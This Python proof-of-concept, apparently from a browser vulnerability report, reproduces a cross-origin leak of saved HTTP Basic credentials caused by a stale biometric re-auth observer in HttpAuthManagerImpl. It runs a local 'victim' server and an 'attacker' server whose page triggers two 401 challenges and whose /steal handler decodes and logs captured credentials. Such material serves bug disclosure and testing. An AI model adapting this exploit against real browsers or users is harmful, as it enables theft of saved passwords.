#!/usr/bin/env python3
"""
POC server for cross-origin HTTP-auth credential leak via stale biometric
re-auth observer in HttpAuthManagerImpl.

Runs two HTTP servers on localhost:
  - port 8081: "victim" origin (saved credentials, returns 401)
  - port 8080: "attacker" origin (serves poc.html, returns 401 on /steal)

The attacker page on :8080 issues a subresource request to :8081/protected
(triggering the victim 401 + biometric prompt), then a second request to
:8080/steal (triggering the attacker 401 which replaces the observer).
"""

import base64
import http.server
import socketserver
import sys
import threading

VICTIM_PORT = 8081
ATTACKER_PORT = 8080


class VictimHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Always challenge. Realm "victim-realm" is what the saved password
        # is keyed against.
        self.send_response(401)
        self.send_header("WWW-Authenticate", 'Basic realm="victim-realm"')
        self.send_header("Content-Type", "text/plain")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(b"victim site: auth required\n")

    def log_message(self, fmt, *args):
        sys.stderr.write("[victim:%d] %s\n" % (VICTIM_PORT, fmt % args))


POC_HTML = b"""<!DOCTYPE html>
<html>
<head><title>HttpAuth biometric cross-origin leak POC</title></head>
<body>
<h3>HttpAuth biometric cross-origin leak POC</h3>
<pre id="log"></pre>
<!-- Subresource that triggers the VICTIM 401. Using <img> ensures the
     request is associated with this WebContents and shows the auth prompt. -->
<img id="victimImg" width="1" height="1">
<img id="evilImg" width="1" height="1">
<script>
const log = m => document.getElementById('log').textContent += m + '\\n';

async function go() {
  log('Preconditions:');
  log(' * Biometric auth before filling is ENABLED in settings');
  log(' * HTTP Basic creds are SAVED for http://localhost:8081 (victim)');
  log(' * No creds are saved for http://localhost:8080 (attacker)');
  log('');

  // Step 1: trigger 401 from victim origin -> biometric prompt arms with
  // victim credentials, observer_ = victim LoginView.
  log('[1] Loading victim subresource (http://localhost:8081/protected)...');
  document.getElementById('victimImg').src =
      'http://localhost:8081/protected?' + Date.now();

  // Step 2: after a short delay (while biometric prompt is shown), trigger a
  // second 401 from the attacker origin. This replaces observer_ with the
  // attacker LoginView but does NOT cancel the pending authenticator.
  setTimeout(() => {
    log('[2] Loading attacker subresource (http://localhost:8080/steal)...');
    document.getElementById('evilImg').src =
        'http://localhost:8080/steal?' + Date.now();
    log('');
    log('Now: complete the biometric prompt (Touch ID / Windows Hello).');
    log('Expected (BUG): the SECOND login dialog (for localhost:8080) is');
    log('pre-filled with the credentials saved for localhost:8081.');
    log('Clicking "Sign in" sends them to the attacker server in the');
    log('Authorization header (see [attacker] LEAKED log).');
  }, 1500);
}
go();
</script>
</body>
</html>
"""


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/steal"):
            auth = self.headers.get("Authorization")
            if auth:
                try:
                    decoded = base64.b64decode(auth.split(" ", 1)[1]).decode(
                        "utf-8", "replace"
                    )
                except Exception:
                    decoded = auth
                sys.stderr.write(
                    "[attacker:%d] LEAKED CREDENTIALS: %s\n"
                    % (ATTACKER_PORT, decoded)
                )
                self.send_response(200)
                self.send_header("Content-Type", "text/plain")
                self.end_headers()
                self.wfile.write(b"got it\n")
                return
            self.send_response(401)
            self.send_header(
                "WWW-Authenticate", 'Basic realm="attacker-realm"'
            )
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(b"attacker site: auth required\n")
            return

        # Serve the POC page for any other path.
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.end_headers()
        self.wfile.write(POC_HTML)

    def log_message(self, fmt, *args):
        sys.stderr.write("[attacker:%d] %s\n" % (ATTACKER_PORT, fmt % args))


class ReusableTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True


def main():
    victim = ReusableTCPServer(("127.0.0.1", VICTIM_PORT), VictimHandler)
    attacker = ReusableTCPServer(("127.0.0.1", ATTACKER_PORT), AttackerHandler)
    threading.Thread(target=victim.serve_forever, daemon=True).start()
    sys.stderr.write(
        "victim   listening on http://127.0.0.1:%d/\n" % VICTIM_PORT
    )
    sys.stderr.write(
        "attacker listening on http://127.0.0.1:%d/ (POC page)\n"
        % ATTACKER_PORT
    )
    attacker.serve_forever()


if __name__ == "__main__":
    main()
